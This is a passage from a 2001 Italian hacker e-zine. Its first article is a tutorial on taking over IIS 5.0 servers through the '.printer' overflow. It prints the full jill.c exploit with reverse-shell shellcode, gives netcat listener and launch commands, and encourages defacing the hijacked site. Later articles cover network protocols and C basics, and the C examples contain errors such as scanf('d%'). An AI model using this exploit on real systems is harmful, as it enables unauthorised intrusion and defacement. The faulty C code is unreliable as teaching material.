| Autore: MightyInquisitor |
| Home-page: www.mightyinquisitor.cjb.net |
| E-mail: mightyinquisitor@mightyinquisitor.cjb.net |
| Irc: irc.azzurranet.org - canale: #hackmaniaci |
| |
| |
| DiSCLAiMER_LEGALi |
| QUEST0 TEST0 DEVE iNTENDERSi A LiVELL0 iNF0RMATiV0, PERCi0' L'AUTORE, |
| MightyInquisitor, DECLiNA 0GNi RESP0NSABiLiTA' DALL'US0 CHE POTREBBE ESSERNE |
| FATT0. L'AUTORE, DUNQUE, NON iNC0RAGGiA CHi VOLESSE SERViRSENE PER SC0Pi |
| iLLEGALi. |
| |
| |
| cat Index.txt |
| -------------- |
| /Index.txt |
| /Intro.txt |
| /Munizioni.txt |
| /Go.txt |
| /Saluti.txt |
| -------------- |
| |
| |
| cat Intro.txt |
| ----------------------------------------------------------------------------- |
| Come molti di voi sapranno, win2k è pieno di bug, come del resto tutti i |
| prodotti di casa |
| microsux. In questo testo vi racconto una bella storiella, ovvero come |
| hakkare un server |
| iis 5.0 sfruttando un bug molto simpatico: il '.print overflow'. |
| Passiamo quindi ora alla pratica, che è quello che voi preferite, o no? |
| ----------------------------------------------------------------------------- |
| |
| |
| cat Munizioni.txt |
| ----------------------------------------------------------------------------- |
| Premetto che non è semplicissima questa tecnica di hacking, ma che da buoni |
| risultati, se |
| si trova un server iis 5.0 vulnerabile al .print overflow. Purtroppo però |
| devi dirvi che |
| questo bug è stato patchato dalla maggior parte dei sysadmin di server |
| microsux, non |
| demoralizzatevi però e ricordate: dove c'è microsoft c'è bug. |
| Allora, volate su www.packetstormsecurity.com e scaricate: |
| - jill.c |
| - nc110.tgz |
| Questi sono gli unici due file necessari per exploitare il server che |
| vogliamo noi. |
| |
| Jill.c: questo è il vero e proprio exploit, un sorgente in C. |
| Nc110.tgz: questo è il net cat, la versione per linux ovviamente, visto che |
| in questo tut. |
| vi spiego come exploitare il server iis dalla vostra linux box. |
| ----------------------------------------------------------------------------- |
| |
| |
| cat Go.txt |
| ----------------------------------------------------------------------------- |
| :Primo punto: |
| Apri due shell, possono essere due console in locale oppure due shell |
| hakkate oppure due |
| shell pubbliche. L'importante è che siano due. |
| Nella prima userai net cat e lo metterai in ascolto su una porta del sistema |
| dove lo stai |
| eseguendo; nella seconda userai jill (l'exploit) in un secondo momento. |
| |
| :Secondo punto: |
| Entra nella directory dove hai scaricato il file 'jill.c', compilalo con il |
| seguente |
| comando: 'gcc -o jill jill.c'. |
| |
| Nota: In caso tu non abbia trovato il file jill.c su packetstorm, ho |
| riportato il sorgente |
| intero, basta che lo copi in un file col nome jill.c e poi lo compili come |
| ho scritto sopra. |
| |
| .:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:. |
| /* SORGENTE DI JILL.C |
| * IIS 5 remote .printer overflow. "jill.c" (don't ask). |
| * |
| * by: dark spyrit <dspyrit@beavuh.org> |
| * |
| * respect to eeye for finding this one - nice work. |
| * shouts to halvar, neofight and the beavuh bitchez. |
| * |
| * this exploit overwrites an exception frame to control eip and get to |
| * our code.. the code then locates the pointer to our larger buffer and |
| * execs. |
| * |
| * usage: jill <victim host> <victim port> <attacker host> <attacker port> |
| * |
| * the shellcode spawns a reverse cmd shell.. so you need to set up a |
| * netcat listener on the host you control. |
| * |
| * Ex: nc -l -p <attacker port> -vv |
| * |
| * I haven't slept in years. |
| */
|
| |
| #include <sys/types.h> |
| #include <sys/time.h> |
| #include <sys/socket.h> |
| #include <netinet/in.h> |
| #include <arpa/inet.h> |
| #include <unistd.h> |
| #include <errno.h> |
| #include <stdlib.h> |
| #include <stdio.h> |
| #include <string.h> |
| #include <fcntl.h> |
| #include <netdb.h> |
| |
| int main(int argc, char *argv[]){ |
| |
| /* the whole request rolled into one, pretty huh? carez. */ |
| |
| unsigned char sploit[]= |
| "\x47\x45\x54\x20\x2f\x4e\x55\x4c\x4c\x2e\x70\x72\x69\x6e\x74\x65\x72\x20" |
| "\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x42\x65\x61\x76\x75\x68\x3a\x20" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90" |
| "\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95" |
| "\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95" |
| "\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3" |
| "\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa" |
| "\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91" |
| "\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6" |
| "\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56" |
| "\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55" |
| "\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95" |
| "\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95" |
| "\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5" |
| "\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18" |
| "\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a" |
| "\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14" |
| "\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2" |
| "\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14" |
| "\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2" |
| "\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd" |
| "\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3f\x95\x95\x95\xa6\x55\xc5" |
| "\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d" |
| "\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x8e\xac\x52\xd2\x91\x5e\x38\x4c\xb3" |
| "\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3" |
| "\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15" |
| "\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a" |
| "\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0" |
| "\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd" |
| "\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1" |
| "\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e" |
| "\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc2\x75\xa6\x55\x39\x10\x55\xe0\x6c\xc4" |
| "\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6" |
| "\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7" |
| "\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6" |
| "\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0" |
| "\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1" |
| "\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2" |
| "\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95" |
| "\xc6\xf9\xf0\xf0\xe5\x95\xd0\xed\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95" |
| "\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6" |
| "\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0" |
| "\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb" |
| "\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb" |
| "\xf0\xed\xf0\x95\x0d\x0a\x48\x6f\x73\x74\x3a\x20\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" |
| "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x33" |
| "\xc0\xb0\x90\x03\xd8\x8b\x03\x8b\x40\x60\x33\xdb\xb3\x24\x03\xc3\xff\xe0" |
| "\xeb\xb9\x90\x90\x05\x31\x8c\x6a\x0d\x0a\x0d\x0a"; |
| |
| int s; |
| unsigned short int a_port; |
| unsigned long a_host; |
| struct hostent *ht; |
| struct sockaddr_in sin; |
| |
| printf("iis5 remote .printer overflow.\n" |
| "dark spyrit <dspyrit@beavuh.org> / beavuh labs.\n"); |
| |
| if (argc != 5){ |
| printf("usage: %s <victimHost> <victimPort> <attackerHost> |
| <attackerPort>\n"
,argv[0]); |
| exit(1); |
| } |
| |
| if ((ht = gethostbyname(argv[1])) == 0){ |
| herror(argv[1]); |
| exit(1); |
| } |
| |
| sin.sin_port = htons(atoi(argv[2])); |
| a_port = htons(atoi(argv[4])); |
| a_port^=0x9595; |
| |
| sin.sin_family = AF_INET; |
| sin.sin_addr = *((struct in_addr *)ht->h_addr); |
| |
| if ((ht = gethostbyname(argv[3])) == 0){ |
| herror(argv[3]); |
| exit(1); |
| } |
| |
| a_host = *((unsigned long *)ht->h_addr); |
| a_host^=0x95959595; |
| |
| sploit[441]= (a_port) & 0xff; |
| sploit[442]= (a_port >> 8) & 0xff; |
| |
| sploit[446]= (a_host) & 0xff; |
| sploit[447]= (a_host >> 8) & 0xff; |
| sploit[448]= (a_host >> 16) & 0xff; |
| sploit[449]= (a_host >> 24) & 0xff; |
| |
| if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){ |
| perror("socket"); |
| exit(1); |
| } |
| |
| printf("\nconnecting... \n"); |
| |
| if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1){ |
| perror("connect"); |
| exit(1); |
| } |
| |
| write(s, sploit, strlen(sploit)); |
| sleep (1); |
| close (s); |
| |
| printf("sent... \nyou may need to send a carriage on your listener |
| if the shell doesn't appear.\nhave fun!\n"
); |
| exit(0); |
| } |
| .:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:. |
| |
| :Terzo punto: |
| Vai nella prima shell ed entra nella directory dove hai scaricato il file |
| nc110.tgz. Scrivi: |
| 'su' (senza apici ovviamente) e loggati come root, ora scrivi: 'tar xvzf |
| nc110.tgz' quindi |
| il file sarà decompresso in una directory chiamata: 'nc110', entraci e |
| scrivi: |
| 'make generic', questo fa si che si crei il file 'nc', ovvero il programma |
| eseguibile di |
| net cat. |
| |
| :Quarto punto: |
| Ora, sempre nella prima shell, digita: './nc -l -p 10000 -vv' e premi invio |
| (ovviamente ;)). |
| Questo fa si che net cat si metta in ascolto sulla porta 10000 del pc sul |
| quale lo stai |
| eseguendo da shell. Puoi usare qualsiasi porta non ancora in uso, ma ti |
| consiglio un bel |
| numero tondo come faccio io (10000). |
| |
| :Quinto punto: |
| Ora che hai net cat in ascolto sulla porta che hai scelto, vai nell'altra |
| shell, dove hai |
| compilato il file jill.c in jill (eseguibile), e digita: |
| './jill www.xxx.yyy 80 <ip della shell dove hai eseguito net cat> <porta |
| sulla quale c'è in |
| ascolto net cat>. |
| Un esempio può essere: |
| ./jill www.xxx.yyy 80 154.34.98.121 10000. Capito? Spero di si! |
| Ora premi invio e leggi cosa ti dice. |
| |
| :Sesto punto: |
| Dovrebbe mostrarti una frase del tipo: |
| 'you may need to send a carriage on your listener if the shell doesn't |
| appear. |
| have fun!' |
| Nel caso che il server (www.xxx.yyy) sia vulnerabile a jill, apparirà una |
| scritta tipo: |
| 'c:\winnt\system32' nella shell dove hai messo in ascolto net cat sulla |
| porta 10000. |
| Ora hai pieni poteri sul server che hai appena hakkato. Usa quindi i comandi |
| che useresti in |
| dos (dir, rm, echo, del, ect....) per fare quello che vuoi del sistema, per |
| esempio un bel |
| deface, è solo trovare la directory home del sito. |
| Nel caso che il server non sia vulnerabile a jill, non apparirà niente nella |
| shell di net |
| cat, quindi: RiTENTA, SARAi PiU' FORTUNATO!!! ;) |
| ----------------------------------------------------------------------------- |
| |
| |
| cat Saluti.txt |
| ----------------------------------------------------------------------------- |
| Un GRAZIE va a Linus Torvalds: se non esistessi, bisognerebbe inventarti. |
| Un saluto va a tutta la redazione di OndaQuadra, specialmente a Tritemius x |
| il supporto; |
| tutto il New-[world]-Bie Team; la BlackSun (Mikkkeee sei grande); tutta la |
| Tank Commandos |
| Crew, specialmente SpiDEr2K, SPYR0, Screener_it, kEwL` e BiGAlex; agli amici |
| di #crack-it |
| e a tutti gli assidui frequentatori di #chihackerare e di #hackmaniaci. |
| ----------------------------------------------------------------------------- |
| |
| |
| -EoF- |
| |
| |
| Per ogni ulteriore informazione, chiarimento o dubbio potete contattarmi via |
| e-mail o su irc. |
| |
| |
+-------------------------------------------------------------------------------+


+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [NETW0RKiNG] #04 - 19/11/2001 |
| i PR0T0C0LLi Di RETE TCP/IP - IPX/SPX [shnyper] 0x0C/0x23 |
+-------------------------------------------------------------------------------+
| |
| Ho deciso di scrivere questo tute in quanto in molti si sentono Dio perchè |
| sanno usare una backdoor o smurfare qualche sfigato su Irc..ma alla fine non |
| sa neanche come funzionano i protocolli di rete..! |
| |
| Il funzionamento di una rete si basa sui protocolli, cioè sulle regole che |
| permettono di gestire i dati in modo efficace ed affidabile. |
| Anche se "trasparenti" all'utente, la loro architettura è uno degli elementi |
| più importanti per pianificare e realizzare reti dalle LAN alle WAN. |
| Esistono protocolli proprietari (IBM SNA o Digital DECnet) e protocolli di |
| suite (Novell SPX/IPX o TCP/IP). |
| |
| Il sogno della rete semplice con un sinogo protocollo, si è comunque |
| dimostrato irrealizzabile nella pratica. NElla maggior parte di aziende con |
| una decina di host in rete, possono essere presenti anche vari sistemi |
| operativi per PC e il sistema operativo di rete diventa così una specie di |
| evoluzione. Più le reti sono eterogenee(diversi OS) e più la realizzazione |
| di collegamenti e la gestione sistemistica si fa difficile.Internet complica |
| ulteriormente, infatti per ogni PC che sfrutta un browser va installato una |
| suite TCP/IP con IPX. |
| |
| Come altri tipi di protocolli, anche SPX/IPX non è un unico protocollo ma |
| una suite di procedure standard per la connessione dei computer. |
| Ciascun gruppo di protocolli formatta un messaggio, o pacchetto, con |
| particolari caratteristice di indirizzamento, ricezione ed instradamento. |
| Frequentemente questi pacchetti vengono incapsulati l'uno nell'altro per tre |
| o quattro livelli, ognuno con specifica funzione. (V.di incaps.jpg in |
| allegato) |
| |
| Il protocollo IPX è responsabile dell'indirizzamento dei pacchetti fra i |
| nodi della rete ma non si preoccupa del loro stato o della ricezione! |
| Il protocollo invece che invia al mittente una sorta di di ricevuta per i |
| dati che arrivano a destinazione, è l'SPX. |
| Questo protocollo quindi, come potete immaginare, può essere usato dalle |
| applicazioni che necessitano di una garanzia di consegna, come per i |
| trasferimenti dei file in rete, anche se la maggior parte delle |
| applicazioni, soprattutto quelle che gestiscono autonomamente il |
| monitoraggio della comunicazione, utilizza IPX perchè più efficiente e |
| perchè richiede minor overhead. |
| |
| L'IPX è particolarmente adatto al trasferimento di piccoli pacchetti di dati |
| ( c.ca 512 byte), come quelli per le applicazioni winzoz. Questi pacchetti |
| però non sono indicati per le reti a livello nazionale perchè , utilizzando |
| connessioni più lente e costose, sovraccaricherebbero la rete. |
| |
| Fino alla fine '94 i prodotti di rete Micro$oft utilizzavano il NetBios per |
| trasferimento dati tra schede LAN. Ma..anche se molto veloce nelle piccole |
| reti, i suoi pacchetti non contenevano informazioni sufficienti per l'uscita |
| dalle LAN. Così le ultime versioni di winzoz NT si basano |
| sull'implementazione Micro$oft di Novell IPX, utilizzato come protocollo di |
| rete principale. |
| Attualmente Micro$oft e Novell usano IP come protocollo predefinito, ma |
| IPXviene ancora utilizzato in molte LAN attive. |
| |
| I protocolli TCP/IP sono uno standard aperto sviluppato dal dipartimento |
| della difesa degli USA per collegare migliaia di host diversi. Venne |
| sviluppato un gruppo standard di protocolli non proprietari allo scopo di |
| consentire la comunicazione anche tra host delle WAN di grandi dimensioni. |
| Come IPX/SPX , anche TCP/IP è una suite realizzata per controllare i servizi |
| di comunicazione, ma adotta in più la capacità di far comunicare computer |
| diversi in ua rete totalmente eterogenea! |
| |
| La parte IP del TCP/IP si occupa dell'indirizzamento dei pacchetti tra i |
| nodi della rete. IP fornisce il meccanismo di consegna per l'invio e la |
| ricezione dei dati e, come IPX, non è in grado di garantire la consegna. |
| Un vantaggio dell'IP è la possibilità di trasferire in modo sicuro ( più o |
| meno... ;) ) grossi blocchi di dati da una rete all'altra. |
| Un pacchetto può contenere fino a 65.535 byte (di 8 bit), quindi 100 volte |
| di più di IPX. |
| |
| I pacchetti IP sono incapsulati nei pacchetti TCP che forniscono i servizi |
| per le informazioni di connessione. A differenza di IP, il TCP garantisce |
| anche la consegna dei pacchetti e, a differenza di SPX, TCP viene |
| utilizzatodalla maggior parte delle applicazioni TCP/IP, perchè pesato per |
| connessioni poco affidabili. ;) |
| |
| TCP aumenta l'efficienza della trasmissione con il windowing, che consente |
| di continuare ad inviare pacchetti mentre si attendono le ricevute di |
| consegna di quelli gia inviati, funzionalità detta anche packet burst. |
| Il vantaggio di TCP/IP è la possibilità di collegare milioni di computer in |
| una rete globale, quale internet. |
| |
| Diversamente da IPS/SPX, che utilizano una tecnica di broadcast per tener |
| traccia di tutti gli host e di tutti i servizi presenti, la versione 4 di IP |
| (IPv4, la attuale) si basa su una serie di indirizzi univoci di 32 bit (es. |
| 151.23.132.43 , 4 ottetti di 8 bit l'uno). |
| Ciascun nodo della rete possiede un indirizzo univoco. |
| |
| In pratica IPX/SPX è l'ideale per le LAN a breve distanza in quanto i |
| pacchetti sono piccoli e di formato adatto al traffico veloce delle reti |
| locali. Per il resto è adottato TCP/IP. |
| |
| La caratteristica più interessante del TCP/IP è la possibilità di connettere |
| qualunque sistema per formare un insieme unico. |
| |
| Per ora mi fermo qui. Alla prossima. Ciauz. |
| |
| |
| <==<*>==> GLOSSARIO <==<*>==> |
| termini inerenti al tutorial |
| |
| ACK=>Carattere di controllo che indica acknowledgement e che viene scambiato |
| fra le componenti del sistema quando i dati sono stai ricevuti senza errori. |
| |
| ARP=>Un protocollo TCP/IP utilizzato per ottenere un indirizzo fisico di un |
| nodo quando si conosce solo il suo indirizzo IP logico. Praticamente mappa |
| gli indirizzi IP su quelli EThernet. |
| |
| BIND=> Berkley Internet Name Domain è l'implementazione del famoso DNS. |
| Segue lo stile di indirizzamento "nome@dominio". Il processo DNS/BIND |
| collega il nome, leggibile dall'uomo, ad un indirizzo IP. LEga i due come |
| parte di un intero stack. |
| |
| BROADCAST=>Impiegato per inviare un messaggio a tutte le stazioni o ad |
| un'intera classe di stazioni connesse alla rete. |
| |
| BUFFER=>Spazio di memoria temporaneo dove vengono memorizzati i datinel |
| momento in cui si ricevono, prima o dopo la trasmissione. Compensa le |
| differenze di velocità tra trasmissione e elaborazione. |
| |
| INTERNET=>Insieme di reti e gateway che include ARPAnet, MILnet e NSFnet e |
| che adotta il TCP/IP. |
| |
| INTRANET=>Rete basata su IPche serve una organizzazione e i suoi partner |
| commerciali. |
| |
| LATENZA=>(lag) Ritardo nel passaggio dei pacchetti. |
| |
| MODEM=>(MOdulatore/DEModulatore) Dispositivo che effettua la traduzione fra |
| i segnali elettrici e alcuni altri mezzi/supporti di segnalazione.Ciò |
| avviene tra segnali a corrente diretta, i PC, e analogici, le linee |
| telefoniche. |
| |
| NODO=>Connessione o punto di commutazione sulla rete. |
| |
| PACCHETTO=> Blocco di dati inviato sulla rete che trasmette le identità |
| delle stazioni mittente e destinatarie, le info sul controllo degli errori e |
| il messaggio. |
| |
| PPP=>Protocollo che abilita l'utente alla connessione diretta ad internet, |
| utilizzando una linea telefonica tradizionale e un modem ad alta velocità. |
| |
| ROUTER=>Dispositivo di interconnessione simile ad un bridge che serve |
| pacchetti o frame contenenti determinati protocolli. |
| |
| SERVER PROXY=>Tipo di firewall che si interfaccia con Internet mediante un |
| sngolo indirizzo per conto di una area intranet. |
| |
| SERVER=>Computer dotato di alimentazione e capacità notevoli, e che realizzi |
| servizi di file, stampa o comunicazioni dispnibili alle altre stazioni della |
| rete. |
| |
| TCP=>Specifica per il software che impacchetta e spacchetta i dati |
| inviati/ricevuti, gestisc ela trasmissione dei pacchetti sulla rete e |
| controlla gli errori. |
| |
| TCP/IP=>Insieme di protocolli che si evolve alla fine anni '70 tramite |
| DoD(department of defense) |
| |
| TELNET=>Protocollo di emulazione del terminale. Il software che lo supporta |
| viene solitamente incluso come funzione in un pacchetto TCP/IP, e tutti i |
| prog di telnet forniscono l'emulazione del terminale DEC VT-100. |
| |
| WAN=>Tipo di rete che connette i computer su una estensione potenzialmente |
| planetaria. |
| |
| |
+-------------------------------------------------------------------------------+


+-------------------------------------------------------------------------------+
| ONDAQUADRA ~ [C0DiNG] #04 - 19/11/2001 |
| C0RS0 Di C [PARTE TERZA] [JEYoNE] 0x0D/0x23 |
+-------------------------------------------------------------------------------+
| |
|Ciao a tutti, si riparte con il terzo episodio di questa saga, il corso di C |
|di JEYoNE. |
|Non perdiamo tempo con le stronzate e cominciamo subito a spiegare, o meglio a |
|riassumere dove eravamo arrivati la volta scorsa: |
|Se non sbaglio nello scorso numero abbiamo visto il #DEFINE e il loop for, ci |
|sono domande? Tutto chiaro? Ok, allora andiamo avanti. |
|Oggi andiamo a vedere il costrutto IF cha ha la seguente forma: |
| |
| if (condizione) istruzione; |
| |
|La condizione è un'espressione che può essere vera o falsa,come già detto per |
|il FOR x es.: (jey<100). |
|IF in inglese significa "se", quindi in poche parole il costrutto if determina |
|la condizione in questo modo: "Se la condizione è vera,esegui l'istruzione, se |
|è falsa non eseguirla."
|
|Le istruzioni vengono eseguite se il valore, una volta valutato, non risulti 0.|
|Quindi un if(0) non farà mai eseguire un'istruzione,mentre un if(1) la farebbe |
|eseguire sempre,quindi risulterebbe inutile un if che esegue sempre (o mai) |
|un'istruzione. |
|Il primo esempio di questa lezione è un piccolo programma che stampa un |
|messaggio soltanto se la variabile è maggiore di 10. |
| |
|#include<stdio.h> |
| |
|main() |
|{ |
| |
| int jey; /* variabile intera che servirà per il costrutto if */ |
| |
| printf("Inserisci il valore di jey\n"); |
| scanf("d%", &jey); |
| if (jey>10) printf("\njey è maggiore di 10\n"); |
|} |
| |
|In questo caso il printf ("jey è maggiore di 10") verrà eseguito soltanto se |
|la variabile jey è maggiore di 10, altrimenti il programma termina dopo |
|l'inserimento del valore di jey. |
| |
|Con quest'altro esempio possiamo decidere se eseguire o meno dei pezzi di |
|programma. |
| |
|#include<stdio.h> |
| |
|main() |
|{ |
| int jey; |
| |
| printf("Inserisci il valore di jey\n"); |
| scanf("d%", &jey); |
| if (jey>10) |
| { |
| printf("jey è maggiore di 10\n"); |
| printf("e ti dirò di più, jey vale %d",jey); |
| } |
| |
|} |
|In questo caso tutti e due i printf verranno eseguiti soltanto se la variabile |
|jey è maggiore di 10. |
| |
|Visto il costrutto IF non possiamo fare a meno di vedere il suo ramo opzionale,|
|chiamato ELSE. |
|La forma di ELSE, che essendo un ramo di IF andrà SEMPRE insieme a lui, è: |
| |
| if (condizione) istruzione; |
| else seconda istruzione; |
| |
|Il ramo ELSE fa eseguire una scelta, O si esegue la prima istruzione, O si |
|esegue la seconda. Se il valore di IF è giusto si eseguira la prima istruzione,|
|altrimenti si eseguirà la seconda. |
|Chiaro? |
|Vediamo un esempio: |
| |
|#include<stdio.h> |
| |
|main() |
|{ |
| in jey; |
| printf("Inserisci il valore di jey\n"); |
| scanf("d%", &jey); |
| if (jey>10) |
| { |
| printf("jey è maggiore di 10\n"); |
| printf("e ti dirò di più, jey vale %d",jey); |
| } |
| else |
| { |
| printf("jey è minore o uguale a 10"); |
| printf("infatti vale %d",jey); |
| } |
|} |
| |
|Ora vediamo come inserire una condizione IF all'interno di un'altra condizione |
|IF. Ovvero fissiamo più di una condizione per l'esecuzione delle istruzioni. |
|Esempio: |
| |
| if (jey>10) |
| { |
| if (jey<20) |
| printf("Il valore di jey è compreso tra 10 e 19\n"); |
| } |
| else |
| printf("jey vale meno di 10"); |
| |
|Qui che cosa succede: se jey è maggiore di 10 andremo a eseguire la seconda |
|condizione IF, e qui se jey è minore di 20 eseguiamo il printf ("Il valore di |
|jey è compreso tra 10 e 19"
), altrimenti stampiamo il printf che dice che jey |
|vale meno di 10. |
|Ma che cosa succederà se il valore di jey è superiore a 20? |
|Nulla, il programma uscirà senza dare alcuna risposta, visto che, come abbiamo |
|detto prima, if/else fa eseguire O ciò che dice l'if, O ciò che dice l'else |
|e quindi non avendo un'alternativa il programma subirà un'uscita forzata. Bene |
|Se si vuole far stampare un messaggio quando risulta falso il secondo if |
|bisogna mettere un altro else, vediamo : |
| |
| if (jey>10) |
| { |
| if (jey<20) |
| printf("Il valore di jey è compreso tra 10 e 19\n"); |
| else |
| printf("Il valore di jey supera il 20, infatti è d%",jey); |
| } |
| else |
| printf("jey vale meno di 10"); |
| |
|Bene, ora andremo a vedere il costrutto SWITCH, che permette di fare dei test |
|multipli ad una variabile. Questo può tornare utile come alternativa a molti |
|if/else annidati. |
|Vediamo la sua forma: |
| |
| switch(variabile) |
| { |
| case costante1: |
| istruzione1; |
| break; |
| case costante2: |
| istruzione2; |
| break; |
| case costante3: |
| istruzione3; |
| break; |
| default: |
| istruzione4; |
| } |
| |
|In questo caso verranno eseguiti 3 confronti, se la variabile non dovesse |
